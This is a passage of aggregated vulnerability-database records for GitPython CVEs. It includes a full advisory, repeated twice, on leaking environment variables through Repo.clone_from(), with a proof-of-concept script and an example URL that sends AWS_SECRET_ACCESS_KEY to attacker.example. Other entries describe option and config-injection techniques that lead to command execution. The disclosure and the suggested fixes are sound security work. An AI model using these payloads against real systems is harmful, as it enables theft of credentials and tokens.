secret.","status":"published","published":"2026-08-01T13:17:02.493Z","modified":"2026-10-23T23:10:00.157Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:12:34.290716Z"}],"osv":[{"id":"CVE-2026-67322","title":"GitPython before 3.1.52 Environment Variable Exfiltration via clone_from","description":"GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.","status":"published","published":"2026-08-01T12:22:17.009Z","modified":"2026-10-28T02:30:21.094624196Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:45:14.46177Z"},{"id":"DEBIAN-CVE-2026-67322","description":"GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.","status":"published","published":"2026-08-01T13:17:02.493Z","modified":"2026-10-31T14:00:08.285227506Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:46:01.68444Z"},{"id":"GHSA-m4f3-g4cq-hqrx","title":"Duplicate Advisory: GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-rwj8-pgh3-r573. This link is maintained to preserve external references.\n\n## Original Description\n\nGitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.","status":"withdrawn","published":"2026-08-01T15:30:28Z","modified":"2026-09-08T15:46:56.600719561Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:46:51.463834Z"},{"id":"GHSA-rwj8-pgh3-r573","title":"GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL","description":"### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907–925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -\u003e PathLike:\n    \"\"\"Remove any backslashes from URLs to be written in config files.\n    ...\n    \"\"\"\n    if is_cygwin is None:\n        is_cygwin = cls.is_cygwin()\n\n    if is_cygwin:\n        url = cygpath(url)\n    else:\n        url = os.path.expandvars(url)          # \u003c-- line 921\n        if url.startswith(\"~\"):\n            url = os.path.expanduser(url)\n        url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n    return url\n```\n\n`Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407–1418:\n```python\nif not allow_unsafe_protocols:\n    Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n    Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n    multi,\n    \"--\",\n    Git.polish_url(url),          # \u003c-- line 1417: expanded URL sent to `git clone`\n    clone_path,\n    ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment variables in paths is deprecated for security reasons\", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git                              # noqa: E402\nfrom git import Git, Repo               # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\"  input : {attacker_url}\")\nprint(f\"  output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n    print(\"  -\u003e secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n    def __init__(self, cmd, *a, **kw):\n        if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n            captured[\"cmd\"] = list(cmd)\n        super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd                # noqa: E402\ngitcmd.safer_popen = CapturingPopen     # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n    Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n    # The clone fails (attacker.example does not resolve); we only need argv.\n    print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n    print(f\"  {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n    print(\n        \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n        \"into the remote clone URL; git would transmit it to attacker.example.\"\n    )\n    sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n  output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n  -\u003e secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n  git\n  clone\n  -v\n  --\n  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n  /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled — the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on `Repo(path, expand_vars=…)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.","status":"published","published":"2026-07-21T22:06:09Z","modified":"2026-09-24T18:28:17.149390188Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200","CWE-201"],"updated_at":"2026-11-02T15:46:56.639206Z"},{"id":"OESA-2026-3249","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process\u0026apos;s environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)\n\nGitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=\u0026lt;path\u0026gt; can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)\n\nGitPython 3.1.50 fails to recognize joined short-option forms such as -u\u0026lt;value\u0026gt; (the short form of --upload-pack=\u0026lt;value\u0026gt;) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u\u0026lt;helper\u0026gt; to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)\n\nGitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git\u0026apos;s long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)\n\nGitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)","status":"published","published":"2026-08-07T02:41:58Z","modified":"2026-08-07T03:00:54.073937456Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3250","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process\u0026apos;s environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)\n\nGitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=\u0026lt;path\u0026gt; can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)\n\nGitPython 3.1.50 fails to recognize joined short-option forms such as -u\u0026lt;value\u0026gt; (the short form of --upload-pack=\u0026lt;value\u0026gt;) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u\u0026lt;helper\u0026gt; to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)\n\nGitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git\u0026apos;s long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)\n\nGitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)","status":"published","published":"2026-08-07T02:42:02Z","modified":"2026-08-07T03:00:55.644572895Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3251","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process\u0026apos;s environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)\n\nGitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=\u0026lt;path\u0026gt; can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)\n\nGitPython 3.1.50 fails to recognize joined short-option forms such as -u\u0026lt;value\u0026gt; (the short form of --upload-pack=\u0026lt;value\u0026gt;) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u\u0026lt;helper\u0026gt; to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)\n\nGitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git\u0026apos;s long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)\n\nGitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)","status":"published","published":"2026-08-07T02:42:07Z","modified":"2026-08-07T03:00:55.053180197Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"PYSEC-2026-3842","title":"GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL","description":"### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907–925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -\u003e PathLike:\n    \"\"\"Remove any backslashes from URLs to be written in config files.\n    ...\n    \"\"\"\n    if is_cygwin is None:\n        is_cygwin = cls.is_cygwin()\n\n    if is_cygwin:\n        url = cygpath(url)\n    else:\n        url = os.path.expandvars(url)          # \u003c-- line 921\n        if url.startswith(\"~\"):\n            url = os.path.expanduser(url)\n        url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n    return url\n```\n\n`Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407–1418:\n```python\nif not allow_unsafe_protocols:\n    Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n    Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n    multi,\n    \"--\",\n    Git.polish_url(url),          # \u003c-- line 1417: expanded URL sent to `git clone`\n    clone_path,\n    ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment variables in paths is deprecated for security reasons\", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git                              # noqa: E402\nfrom git import Git, Repo               # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\"  input : {attacker_url}\")\nprint(f\"  output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n    print(\"  -\u003e secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n    def __init__(self, cmd, *a, **kw):\n        if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n            captured[\"cmd\"] = list(cmd)\n        super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd                # noqa: E402\ngitcmd.safer_popen = CapturingPopen     # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n    Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n    # The clone fails (attacker.example does not resolve); we only need argv.\n    print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n    print(f\"  {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n    print(\n        \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n        \"into the remote clone URL; git would transmit it to attacker.example.\"\n    )\n    sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n  output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n  -\u003e secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n  git\n  clone\n  -v\n  --\n  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n  /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled — the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing 